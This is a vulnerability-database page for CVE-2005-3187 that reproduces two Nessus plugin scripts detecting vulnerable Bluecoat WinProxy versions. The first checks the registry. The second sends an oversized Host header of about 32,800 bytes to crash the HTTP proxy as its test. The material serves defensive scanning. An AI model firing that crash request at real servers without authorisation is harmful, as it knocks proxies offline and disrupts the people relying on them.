Vulnerabilities > CVE-2005-3187 - Remote Denial Of Service vulnerability in Bluecoat Winproxy 6.0

#
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description) {
  script_id(20393);
  script_version("1.14");

  script_cve_id("CVE-2005-3187", "CVE-2005-3654", "CVE-2005-4085");
  script_bugtraq_id(16147, 16148, 16149);

  script_name(english:"WinProxy < 6.1a Multiple Vulnerabilities (credentialed check)");
  script_summary(english:"Checks for multiple vulnerabilities in WinProxy < 6.1a");

 script_set_attribute(attribute:"synopsis", value:
"The remote proxy is affected by multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WinProxy, a proxy server for Windows. 

According to the Windows registry, the installed version of WinProxy
suffers from denial of service and buffer overflow vulnerabilities in
its telnet and web proxy servers.  An attacker may be able to exploit
these issues to crash the proxy or even execute arbitrary code on the
affected host." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?40f07cd6" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3a6c81a5" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?79b3006b" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c88612f" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WinProxy version 6.1a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Blue Coat WinProxy Host Header Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/01/10");
 script_set_attribute(attribute:"patch_publication_date", value: "2006/01/05");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/01/05");
 script_cvs_date("Date: 2018/08/06 14:03:14");
script_set_attribute(attribute:"plugin_type", value:"local");
script_end_attributes();

 
  script_category(ACT_GATHER_INFO);
  script_family(english:"Firewalls");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("smb_hotfixes.nasl");
  script_require_keys("SMB/Registry/Enumerated");
  script_require_ports(139, 445);

  exit(0);
}


if (!get_kb_item("SMB/Registry/Enumerated")) exit(0);


# Look in the registry for evidence of WinProxy.
name = get_kb_item("SMB/Registry/HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/WinProxy 6/DisplayName");
if (name && name =~ "^WinProxy \(Version ([0-5]\.|6\.0)") {
  security_hole(0);
  exit(0);
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description) {
  script_id(20391);
  script_version("1.19");

  script_cve_id("CVE-2005-3187", "CVE-2005-4085");
  script_bugtraq_id(16147, 16148);

  script_name(english:"WinProxy < 6.1a HTTP Proxy Multiple Vulnerabilities");
  script_summary(english:"Checks for multiple vulnerabilities in WinProxy < 6.1a HTTP Proxy");

 script_set_attribute(attribute:"synopsis", value:
"The remote web proxy server is affected by denial of service and
buffer overflow vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WinProxy, a proxy server for Windows. 

The installed version of WinProxy's HTTP proxy fails to handle long
requests as well as requests with long Host headers.  An attacker may
be able to exploit these issues to crash the proxy or even execute
arbitrary code on the affected host." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?40f07cd6" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3a6c81a5" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c88612f" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WinProxy version 6.1a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Blue Coat WinProxy Host Header Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/01/10");
 script_set_attribute(attribute:"patch_publication_date", value: "2006/01/05");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/01/05");
 script_cvs_date("Date: 2018/08/06 14:03:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_DENIAL);
  script_family(english:"Firewalls");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("find_service2.nasl", "httpver.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, dont_break: 1);


# Make sure it looks like WinProxy.
help = get_kb_banner(port: port, type: "help");
if (help && "Proxy-agent: BlueCoat-WinProxy" >< help) {
  # Flag it as a proxy.
  register_service(port:port, ipproto:"tcp", proto:"http_proxy");

  # Try to exploit it.
  rq = http_mk_proxy_request(port: 80, item: "/", host: "127.0.0.1", method: "GET", scheme: "http", version: 10, add_headers: make_array("Host", crap(32800)));

  w = http_send_recv_req(port: port, req: rq);
  # If we didn't get anything, try resending the query.
  w = http_send_recv3(port: port, item:"/", method:"GET");

  # There's a problem if we didn't get a response the second time.
    if (isnull(w)) security_hole(port);
}